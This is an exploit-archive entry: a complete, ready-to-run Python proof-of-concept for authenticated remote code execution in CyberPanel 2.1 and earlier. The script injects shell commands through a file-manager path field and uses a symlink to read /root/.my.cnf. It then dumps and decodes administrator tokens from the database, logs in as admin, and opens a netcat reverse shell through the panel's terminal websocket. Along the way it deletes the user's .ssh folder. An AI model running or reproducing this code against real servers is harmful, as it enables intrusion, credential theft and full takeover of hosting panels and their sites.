CyberPanel 2.1 - Remote Code Execution (RCE) (Authenticated)

# Title: CyberPanel 2.1 - Remote Code Execution (RCE) (Authenticated)
# Date: 27.08.2021
# Author: Numan Türle
# Vendor Homepage: https://cyberpanel.net/
# Software Link: https://github.com/usmannasir/cyberpanel
# Version: <=2.1
# https://www.youtube.com/watch?v=J_8iLELVgkE


#!/usr/bin/python3
# -*- coding: utf-8 -*-
# CyberPanel - Remote Code Execution (Authenticated)
# author: twitter.com/numanturle
# usage: cyberpanel.py [-h] -u HOST -l LOGIN -p PASSWORD [-f FILE]
# cyberpanel.py: error: the following arguments are required: -u/--host, -l/--login, -p/--password


import argparse,requests,warnings,json,re,base64,websocket,ssl,_thread,time
from requests.packages.urllib3.exceptions import InsecureRequestWarning
from cmd import Cmd

warnings.simplefilter('ignore',InsecureRequestWarning)

def init():
    parser = argparse.ArgumentParser(description='CyberPanel Remote Code Execution')
    parser.add_argument('-u','--host',help='Host', type=str, required=True)
    parser.add_argument('-l', '--login',help='Username', type=str, required=True)
    parser.add_argument('-p', '--password',help='Password', type=str, required=True)
    parser.add_argument('-f', '--file',help='File', type=str)
    args = parser.parse_args()
    exploit(args)

def exploit(args):
    def on_open(ws):
        verifyPath,socket_password
        print("[+] Socket connection successful")
        print("[+] Trying a reverse connection")
        ws.send(json.dumps({"tp":"init","data":{"verifyPath":verifyPath,"password":socket_password}}))
        ws.send(json.dumps({"tp":"client","data":"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 0.0.0.0 1337 >/tmp/f\r","verifyPath":verifyPath,"password":socket_password}))
        ws.close()

    def on_close(ws, close_status_code, close_msg):
        print("[+] Successful")
        print("[!] Disconnect from socket")


    session = requests.Session()
    target = "https://{}:8090".format(args.host)
    username = args.login
    password = args.password

    print("[+] Target {}".format(target))

    response = session.get(target, verify=False)
    session_hand = session.cookies.get_dict()
    token = session_hand["csrftoken"]

    print("[+] Token {}".format(token))

    headers = {
        'X-Csrftoken': token,
        'Cookie': 'csrftoken={}'.format(token),
        'Referer': target
    }

    login = session.post(target+"/verifyLogin", headers=headers, verify=False, json={"username":username,"password":password,"languageSelection":"english"})
    login_json = json.loads(login.content)

    if login_json["loginStatus"]:
        session_hand_login = session.cookies.get_dict()

        print("[+] Login Success")
        print("[+] Send request fetch websites list")

        headers = {
            'X-Csrftoken': session_hand_login["csrftoken"],
            'Cookie': 'csrftoken={};sessionid={}'.format(token,session_hand_login["sessionid"]),
            'Referer': target
        }

        feth_weblist = session.post(target+"/websites/fetchWebsitesList", headers=headers, verify=False, json={"page":1,"recordsToShow":10})
        feth_weblist_json = json.loads(feth_weblist.content)

        if feth_weblist_json["data"]:

            weblist_json = json.loads(feth_weblist_json["data"])
            domain = weblist_json[0]["domain"]
            domain_folder = "/home/{}".format(domain)

            print("[+] Successfully {} selected".format(domain))
            print("[+] Creating ssh pub")

            remove_ssh_folder = session.post(target+"/filemanager/controller", headers=headers, verify=False, json={"path":domain_folder,"method":"deleteFolderOrFile","fileAndFolders":[".ssh"],"domainRandomSeed":"","domainName":domain,"skipTrash":1})
            create_ssh = session.post(target+"/websites/fetchFolderDetails", headers=headers, verify=False, json={"domain":domain,"folder":"{}".format(domain_folder)})
            create_ssh_json = json.loads(create_ssh.content)

            if create_ssh_json["status"]:
                key = create_ssh_json["deploymentKey"]

                print("[+] Key : {}".format(key))

                explode_key = key.split()
                explode_username = explode_key[-1].split("@")

                if explode_username[0]:
                    username = explode_username[0]
                    hostname = explode_username[1]

                    print("[+] {} username selected".format(username))
                    print("[+] Preparing for symlink attack")
                    print("[+] Attempting symlink attack with user-level command execution vulnerability #1")

                    target_file = args.file
                    if not target_file:
                        target_file = "/root/.my.cnf"
                    domain_folder_ssh = "{}/.ssh".format(domain_folder)
                    command = "rm -rf {}/{}.pub;ln -s {} {}/{}.pub".format(domain_folder_ssh,username,target_file,domain_folder_ssh,username)
                    completeStartingPath = "{}';{};'".format(domain_folder,command)

                    #filemanager/controller - completeStartingPath - command execution vulnerability

                    symlink = session.post(target+"/filemanager/controller", headers=headers, verify=False, json={"completeStartingPath":completeStartingPath,"method":"listForTable","home":domain_folder,"domainRandomSeed":"","domainName":domain})
                    symlink_json = json.loads(symlink.content)
                    
                    if symlink_json["status"]:
                        print("[+] [SUDO] Arbitrary file reading via symlink --> {} #2".format(target_file))

                        read_file = session.post(target+"/websites/fetchFolderDetails", headers=headers, verify=False, json={"domain":domain,"folder":"{}".format(domain_folder)})
                        read_file_json = json.loads(read_file.content)
                        read_file = read_file_json["deploymentKey"]
                        if not args.file:
                            print("-----------------------------------")
                            print(read_file.strip())
                            print("-----------------------------------")

                            mysql_password = re.findall('password=\"(.*?)\"',read_file)[0]
                            steal_token = "rm -rf token.txt;mysql -u root -p\"{}\" -D cyberpanel -e \"select token from loginSystem_administrator\" > '{}/token.txt".format(mysql_password,domain_folder)

                            print("[+] Fetching users tokens")

                            completeStartingPath = "{}';{}".format(domain_folder,steal_token)
                            steal_token_request = session.post(target+"/filemanager/controller", headers=headers, verify=False, json={"completeStartingPath":completeStartingPath,"method":"listForTable","home":domain_folder,"domainRandomSeed":"","domainName":domain})
                            token_file = domain_folder+"/token.txt"
                            steal_token_read_request = session.post(target+"/filemanager/controller", headers=headers, verify=False, json={"fileName":token_file,"method":"readFileContents","domainRandomSeed":"","domainName":domain})
                            leak = json.loads(steal_token_read_request.content)
                            leak = leak["fileContents"].replace("Basic ","").strip().split("\n")[1:]
                            print("------------------------------")
                            for user in leak:
                                b64de = base64.b64decode(user).decode('utf-8')
                                exp_username = b64de.split(":")
                                if exp_username[0] == "admin":
                                    admin_password = exp_username[1]
                                print("[+] " + b64de)
                            print("------------------------------")
                            print("~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~")
                            print("[+] Try login admin")

                            headers = {
                                'X-Csrftoken': token,
                                'Cookie': 'csrftoken={}'.format(token),
                                'Referer': target
                            }
                            login_admin = session.post(target+"/verifyLogin", headers=headers, verify=False, json={"username":"admin","password":admin_password,"languageSelection":"english"})
                            login_json = json.loads(login_admin.content)
                            if login_json["loginStatus"]:
                                session_hand_login = session.cookies.get_dict()

                                print("[+] 4dm1n_l061n_5ucc355")
                                print("[+] c0nn3c71n6_70_73rm1n4l")
                                headers = {
                                        'X-Csrftoken': session_hand_login["csrftoken"],
                                        'Cookie': 'csrftoken={};sessionid={}'.format(token,session_hand_login["sessionid"]),
                                        'Referer': target
                                }

                                get_websocket_token = session.get(target+"/Terminal", headers=headers, verify=False)
                                verifyPath = re.findall('id=\"verifyPath\">(.*?)</div>',str(get_websocket_token.content))[-1]
                                socket_password = re.findall('id=\"password\">(.*?)</div>',str(get_websocket_token.content))[-1]
                                print("[+] verifyPath {}".format(verifyPath))
                                print("[+] socketPassword {}".format(socket_password))
                                print("[+] Trying to connect to socket")
                                ws = websocket.WebSocketApp("wss://{}:5678".format(args.host),
                                    on_open=on_open,
                                    on_close=on_close)
                                ws.run_forever(sslopt={"cert_reqs": ssl.CERT_NONE})

                            else:
                                print("[-] Auto admin login failed")
                        else:
                            print(read_file)
                    else:
                        print("[-] Unexpected")
                else:
                    print("[-] Username selected failed")
            else:
                print("[-] Fail ssh pub")
        else:
            print("[-] List error")
    else:
        print("[-] AUTH : Login failed msg: {}".format(login_json["error_message"]))

if __name__ == "__main__":
    init()